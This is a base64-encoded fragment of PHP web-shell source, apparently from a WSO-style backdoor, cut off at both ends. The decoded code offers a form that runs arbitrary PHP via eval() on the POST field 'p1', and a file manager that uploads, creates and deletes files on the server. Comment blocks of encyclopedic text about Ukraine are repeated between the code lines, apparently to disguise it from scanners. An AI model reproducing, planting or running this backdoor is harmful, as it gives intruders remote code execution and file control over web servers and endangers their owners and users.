GV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOwoJZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQlvYl9zdGFydCgpOwoJCWV2YWwoJF9QT1NUWydwMSddKTsKCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOwoJfQoJZWNobyAnPC9wcmU+PC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCXByaW50SGVhZGVyKCk7CgllY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsKCQlzd2l0Y2goJF9QT1NUWydwMSddKSB7CgkJCWNhc2UgJ3VwbG9hZEZpbGUnOgovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCWlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQoJCQkJCWVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7CgkJCQlicmVhazsKCQkJCWJyZWFrOwoJCQljYXNlICdta2Rpcic6CgkJCQlpZighQG1rZGlyKCRfUE9TVFsncDInXSkpCgkJCQkJZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ2RlbGV0ZSc6Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDM